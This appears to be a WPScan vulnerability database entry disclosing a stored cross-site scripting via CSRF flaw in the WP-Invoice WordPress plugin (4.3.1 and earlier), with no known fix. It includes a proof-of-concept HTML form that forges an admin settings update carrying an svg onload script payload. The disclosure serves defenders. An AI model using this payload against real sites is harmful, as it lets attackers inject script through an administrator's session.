WordPress Plugin Vulnerabilities
WP-Invoice <= 4.3.1 - Stored Cross-Site Scripting via CSRF
Description
The plugin does not have CSRF check in place when updating its settings, and is lacking sanitisation as well as escaping in some of them, allowing attacker to make a logged in admin change them and add XSS payload in them
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=wpi_page_settings" method="POST">
<input type="hidden" name="wpi_settings_update" value="true" />
<input type="hidden" name="wpi_settings[business_logo]" value="" />
<input type="hidden" name="wpi_settings[business_name]" value='WP"><svg/onload=alert(/XSS/)>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Affects Plugins
No known fix References
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Mariam Tariq
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-04-25 (about 2 years ago)
Added
2022-04-27 (about 2 years ago)
Last Updated
2022-05-08 (about 2 years ago)
WPScan 